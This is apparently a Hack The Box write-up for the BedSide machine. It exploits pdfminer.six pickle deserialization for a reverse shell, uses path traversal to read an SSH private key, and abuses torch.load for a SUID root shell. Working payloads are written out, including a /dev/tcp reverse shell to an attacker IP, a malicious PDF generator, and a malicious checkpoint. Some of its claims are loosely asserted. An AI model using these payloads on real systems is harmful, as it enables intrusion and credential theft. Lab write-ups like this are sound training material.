Overview

BedSide is a Linux machine on Hack The Box that chains a PDFMiner (CVE-2025-64512) for initial access, SSH key extraction for lateral movement, and a PyTorch torch.load insecure deserialization exploit to escalate to root.

Recon

Foothold: PDFMiner Path Traversal / LFI (CVE-2025-64512)

Lateral Movement: SSH Key Extraction

Privilege Escalation: PyTorch Insecure Deserialization


Nmap Scan

nmap -sC -sV -p- -O -A --min-rate=10000 ip
  • Port 22: SSH (OpenSSH 10.0p2)
  • Port 80: HTTP (Apache 2.4.68)
  • Port 3000:tcp filtered [hmm…]
echo "ip bedside.htb" >> /etc/hosts

next i tried to enumurate subdomains and found research

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u http://bedside.htb -H "Host: FUZZ.bedside.htb" -mc 200

next check dir enumuration and got some juicy endpoints

gobuster dir -u http://research.bedside.htb -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,html,txt

Found:

  • /uploads/ - File upload functionality
  • /javascript/ - Static assets

upload a normal file nothing happens everything seems normal started burp and intercept the request saw this header in the response

POST / HTTP/1.1 Host: research.bedside.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: multipart/form-data; boundary=---------------------------39266404063116583249587560631 Content-Length: 511 Origin: http://research.bedside.htb Connection: keep-alive Referer: http://research.bedside.htb/ Upgrade-Insecure-Requests: 1 Priority: u=0, i -----------------------------39266404063116583249587560631 Content-Disposition: form-data; name="uploadFile"; filename="malicious.zip" Content-Type: application/zip PK HTTP/1.1 200 OK Date: Sun, 19 Jul 2026 10:31:33 GMT Server: Apache/2.4.68 (Debian) X-Powered-By: pdfminer.six Vary: Accept-Encoding Content-Length: 3221 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 
X-Powered-By: pdfminer.six

lets see on google pdfminer.six is ==a popular, community-maintained Python library used to extract and analyze text, images, and metadata directly from the source code of PDF documents==. It is highly regarded for its ability to extract precise text locations, font properties, and colors, rather than just raw paragraphs ok cool ! Recent versions of pdfminer.six suffered from severe insecure deserialization vulnerabilities in its CMap (Character Map) loading mechanism. These flaws allowed attackers to achieve arbitrary code execution (RCE) or privilege escalation oh wow we got it CVE-2025-64512: Malicious PDFs could direct the library to load zipped pickle files instead of standard CMaps, executing malicious Python code upon processing.

for more read stuffs from here : https://github.com/luigigubello/CVE-2025-64512-Polyglot-PoC


How it works:

  1. pdfminer.six has a function called CMapDB._load_data()
  2. This function uses pickle.loads() to deserialize pickle files
  3. When a PDF has a /Encoding field pointing to a .pickle.gz file
  4. The library loads and deserializes that pickle file
  5. If the pickle contains malicious code, it executes

The Exploit Process:

import pickle, gzip

class Exploit:
    def __reduce__(self):
        cmd = ["bash", "-c", "bash -i >& /dev/tcp/10.10.15.231/4444 0>&1"]
        code = "__import__('subprocess').Popen(%r) and {}" % (cmd,)
        return (eval, (code,))

with gzip.open("shell.pickle.gz", "wb") as f:
    pickle.dump(Exploit(), f)

Explanation:

  • We create a class Exploit with __reduce__ method
  • When pickle deserializes, it executes this method
  • The method returns eval() with our reverse shell command
  • The payload is compressed with gzip and saved as .pickle.gz

┌──(rootkali)-[/home/kali/bedside]
└─# 
#!/usr/bin/env python3

CANDIDATES = [
    "/var/www/research.bedside.htb/uploads/shell",
    "/var/www/research/uploads/shell",
    "/var/www/html/research/uploads/shell",
    "/var/www/html/uploads/shell",
    "/var/www/vhosts/research.bedside.htb/httpdocs/uploads/shell",
    "/var/www/vhosts/research.bedside.htb/uploads/shell",
    "/srv/research.bedside.htb/uploads/shell",
    "/srv/www/research.bedside.htb/uploads/shell",
    "/var/www/bedside.htb/research/uploads/shell",
    "/var/www/bedside/research/uploads/shell",
    "/opt/research/uploads/shell",
    "/opt/research.bedside.htb/uploads/shell",
    "/opt/app/uploads/shell",
    "/app/uploads/shell",
    "/var/www/portal/uploads/shell",
    "/var/www/research.bedside.htb/upload/shell",
]

def pdf_name_escape(path: str) -> str:
    out = []
    for ch in path:
        if ch == "/":
            out.append("#2F")
        else:
            out.append(ch)
    return "".join(out)

def build_pdf(candidates):
    objs = []
    n_fonts = len(candidates)
    first_font_obj = 4
    font_obj_nums = list(range(first_font_obj, first_font_obj + n_fonts))
    content_obj_num = first_font_obj + n_fonts
    descfont_obj_nums = list(range(content_obj_num + 1, content_obj_num + 1 + n_fonts))
    fontdesc_obj_nums = list(range(content_obj_num + 1 + n_fonts, content_obj_num + 1 + 2 * n_fonts))

    objs.append((1, "<<\n/Type /Catalog\n/Pages 2 0 R\n>>"))
    objs.append((2, "<<\n/Type /Pages\n/Kids [3 0 R]\n/Count 1\n>>"))

    font_res_entries = "\n".join(
        f"/F{i} {font_obj_nums[i]} 0 R" for i in range(n_fonts)
    )
    objs.append((
        3,
        "<<\n/Type /Page\n/Parent 2 0 R\n/MediaBox [0 0 612 792]\n"
        f"/Contents {content_obj_num} 0 R\n/Resources << /Font << {font_res_entries} >> >>\n>>",
    ))

    for i, cand in enumerate(candidates):
        enc_name = pdf_name_escape(cand)
        objs.append((
            font_obj_nums[i],
            "<<\n/Type /Font\n/Subtype /Type0\n"
            f"/BaseFont /EvilFont{i}-Identity-H\n"
            f"/Encoding /{enc_name}\n"
            f"/DescendantFonts [{descfont_obj_nums[i]} 0 R]\n>>",
        ))

    stream_parts = []
    for i in range(n_fonts):
        stream_parts.append(f"/F{i} 12 Tf")
        stream_parts.append("(x) Tj")
    stream_body = "BT\n" + "\n".join(stream_parts) + "\nET"
    objs.append((
        content_obj_num,
        f"<<\n/Length {len(stream_body)}\n>>\nstream\n{stream_body}\nendstream",
    ))

    for i in range(n_fonts):
        objs.append((
            descfont_obj_nums[i],
            "<<\n/Type /Font\n/Subtype /CIDFontType2\n"
            f"/BaseFont /EvilFont{i}\n"
            "/CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >>\n"
            f"/FontDescriptor {fontdesc_obj_nums[i]} 0 R\n>>",
        ))
        objs.append((
            fontdesc_obj_nums[i],
            "<<\n/Type /FontDescriptor\n"
            f"/FontName /EvilFont{i}\n/Flags 4\n"
            "/FontBBox [-1000 -1000 1000 1000]\n/ItalicAngle 0\n/Ascent 1000\n"
            "/Descent -200\n/CapHeight 800\n/StemV 80\n>>",
        ))

    objs.sort(key=lambda x: x[0])

    out = bytearray()
    out += b"%PDF-1.4\n"
    offsets = {}
    for num, body in objs:
        offsets[num] = len(out)
        out += f"{num} 0 obj\n".encode()
        out += body.encode()
        out += b"\nendobj\n\n"

    xref_offset = len(out)
    max_num = max(offsets.keys())
    out += f"xref\n0 {max_num + 1}\n".encode()
    out += b"0000000000 65535 f \n"
    for num in range(1, max_num + 1):
        off = offsets.get(num, 0)
        out += f"{off:010d} 00000 n \n".encode()
    out += b"trailer\n"
    out += f"<<\n/Size {max_num + 1}\n/Root 1 0 R\n>>\n".encode()
    out += b"startxref\n"
    out += f"{xref_offset}\n".encode()
    out += b"%%EOF"
    return bytes(out)

if __name__ == "__main__":
    data = build_pdf(CANDIDATES)
    with open("multi_guess.pdf", "wb") as f:
        f.write(data)
    print(f"Wrote multi_guess.pdf with {len(CANDIDATES)} candidate paths, {len(data)} bytes")
    for c in CANDIDATES:
        print("  ", c)

Explanation:

  • The PDF has a font with /Encoding set to our pickle file path
  • When pdfminer.six processes this PDF, it tries to load the CMap
  • It looks at the /Encoding path and tries to load a .pickle.gz from there
  • It finds our uploaded shell.pickle.gz and deserializes it
  • The malicious pickle executes and gives us a reverse shell
# 1. Upload the pickle file FIRST
curl -X POST http://research.bedside.htb/ -F "uploadFile=@shell.pickle.gz"

# 2. Upload the PDF SECOND
curl -X POST http://research.bedside.htb/ -F "uploadFile=@mal.pdf"

Why this order: The pickle file must exist when the PDF is processed. The server processes PDFs immediately, so we upload the pickle first, then the PDF.

nc -lvnp 4444
datawrangler@data-wrangler:/app$ whoami
datawrangler

Enumeration from datawrangler Shell

Response showed: A React development server with Hot Module Replacement (HMR) enabled.

What this means:

  • There’s an internal web service on port 3000
  • It’s running in development mode (more vulnerabilities)
  • We can’t access it from outside, but we can from inside

Phase 5: Pivoting to Developer User

Finding the LFI Vulnerability

The development server on port 3000 has a path traversal vulnerability. This is common in React development servers.

curl --path-as-is 'http://localhost:3000/pr/x/y@99/../../../../../../../etc/passwd?raw=1&module=1'

What this does:

  • ../../../../../../../ traverses up the directory tree
  • /etc/passwd is the target file
  • ?raw=1&module=1 bypasses the frontend routing

Output revealed:

developer:x:1000:1000:Developer,,,:/home/developer:/bin/bash

We found a developer user exists on the system.

Reading the SSH Private Key

curl --path-as-is 'http://localhost:3000/pr/x/y@99/../../../../../../../home/developer/.ssh/id_rsa?raw=1&module=1'

Response:

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
...
-----END OPENSSH PRIVATE KEY-----

The LFI vulnerability allows us to read any file the web server has access to. The developer’s SSH private key is readable.

SSH as Developer

chmod 600 developer_key

ssh -i developer_key developer@bedside.htb

developer@bedside:~$ whoami
developer

The authorized_keys file contains the public key matching this private key.


Phase 6: Privilege Escalation to Root

Checking Sudo Permissions

developer@bedside:~$ sudo -l

User developer may run the following commands:
    (ALL) NOPASSWD: /usr/bin/python3 /opt/trainer/bedside_trainer.py

What this means:

  • Developer can run the trainer script as ANY user (including root)
  • No password required
  • The script runs with root privileges

Understanding the Trainer Script

The trainer script (/opt/trainer/bedside_trainer.py) is a machine learning trainer that:

  1. Loads data from /datastore/processed/
  2. Loads checkpoints from /datastore/checkpoints/
  3. Uses torch.load() to load checkpoints
  4. torch.load() uses pickle.load() internally

The Vulnerability: pickle.load() is vulnerable to arbitrary code execution. If we can place a malicious checkpoint, it will execute when loaded.

The Exploit Strategy

  1. Who can write to /datastore/checkpoints/?
    • datawrangler has write access (from initial shell)
    • developer does NOT have write access
  2. Who can run the trainer?
    • developer can run it with sudo (root privileges)
    • The trainer runs as root
  3. The plan:
    • Create malicious checkpoint as datawrangler
    • Trigger the trainer as developer
    • The trainer loads the checkpoint as root
    • The checkpoint executes code as root

Step 1: Create the Malicious Checkpoint (as datawrangler)

# Create a proper PyTorch checkpoint with malicious payload
import torch
import os

class Evil:
    def __reduce__(self):
        # This executes when pickle deserializes
        return (os.system, ('cp /bin/bash /opt/rootbash; chmod 4755 /opt/rootbash',))

# The trainer expects a dictionary with these keys
checkpoint = {
    'epoch': 1000,
    'model': Evil(),  # ← Our malicious payload
    'optimizer': {}
}

# Save as a proper .pt file
torch.save(checkpoint, '/tmp/checkpoint.pt')

Explanation:

  • We create a class Evil with __reduce__ method
  • When pickle deserializes, it executes os.system()
  • The command copies /bin/bash to /opt/rootbash with SUID bit set
  • The checkpoint is a dictionary (what the trainer expects)

Step 2: Place the Checkpoint (as datawrangler)

# datawrangler can write to this directory
cp /tmp/checkpoint.pt /datastore/checkpoints/checkpoint_epoch_1000.pt

Why checkpoint_epoch_1000.pt? The trainer looks for checkpoints with this naming pattern.

Step 3: Trigger the Trainer (as developer)

sudo /usr/bin/python3 /opt/trainer/bedside_trainer.py

What happens:

  1. The trainer starts and sees a checkpoint in /datastore/checkpoints/
  2. It calls torch.load() to load the checkpoint
  3. torch.load() uses pickle.load() to deserialize
  4. The Evil object is deserialized
  5. __reduce__ executes os.system()
  6. /opt/rootbash is created with SUID bit (runs as root)

Step 4: Get Root

# Check the SUID binary
ls -la /opt/rootbash
# -rwsr-xr-x 1 root root ... /opt/rootbash

# Execute with -p (preserve SUID privileges)
/opt/rootbash -p

# Now we're root!
whoami
# root

Why -p? The -p flag tells bash to preserve the effective user ID (root).